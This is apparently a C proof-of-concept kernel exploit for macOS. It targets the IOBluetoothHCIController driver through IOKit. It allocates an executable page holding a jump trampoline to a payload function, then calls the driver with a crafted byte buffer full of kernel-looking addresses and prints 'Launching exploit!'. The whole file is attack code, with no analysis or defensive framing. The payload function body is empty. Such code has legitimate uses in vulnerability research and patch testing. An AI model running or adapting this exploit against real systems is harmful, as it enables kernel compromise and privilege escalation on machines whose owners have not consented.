#include <stdio.h>
#include <string.h>
#include <mach/mach.h>
#include <mach/vm_map.h>
#include <IOKit/IOKitLib.h>
uint64_t payload() {
}
int main(void) {
vm_address_t tgt = 0x0000048800000000;
vm_allocate(mach_task_self(), &tgt, 0x1000, 0);
vm_protect(mach_task_self(), tgt, 0x1000, 0,
VM_PROT_READ|VM_PROT_WRITE|VM_PROT_EXECUTE);
memset((void *)tgt, 0, 0x1000);
char *target = (char *)tgt;
target[7] = 0x48;
target[8] = 0xb8;
*((uint64_t *)(&target[9])) = (uint64_t) payload;
target[17] = 0xff;
target[18] = 0xe0;
printf(" [+] Payload function @ %016llx\n", (uint64_t) payload);
printf(" [+] Stored trampoline @ %016llx\n", (uint64_t) tgt+7);
io_service_t service =
IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching("IOBluetoothHCIController"));
if (!service) {
return -1;
}
io_connect_t port = (io_connect_t) 0;
kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &port);
IOObjectRelease(service);
if (kr != kIOReturnSuccess) {
return kr;
}
printf(" [+] Opened connection to service on port: %d\n", port);
char a[] = "\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x07\x02\x00\x00\x00\x11\x0a\x00\x00\x03\x72\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\xe8\xfa\x2a\x54\xff\x7f\x00\x00\x78\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\xa8\xfb\x2a\x54\xff\x7f\x00\x00\xd8\xfa\x2a\x54\xff\x7f\x00\x00\x60\x4a\xb6\x86"
"\x80\xff\xff\xff"
"\xa8\xb6\xf5\xff\x80\xff\xff\xff";
printf(" [+] Launching exploit!\n");
kr = IOConnectCallMethod((mach_port_t) port,
(uint32_t) 0,
NULL, 0,
(const void*) a,
sizeof(a),
NULL, NULL, NULL, NULL);
return IOServiceClose(port);
}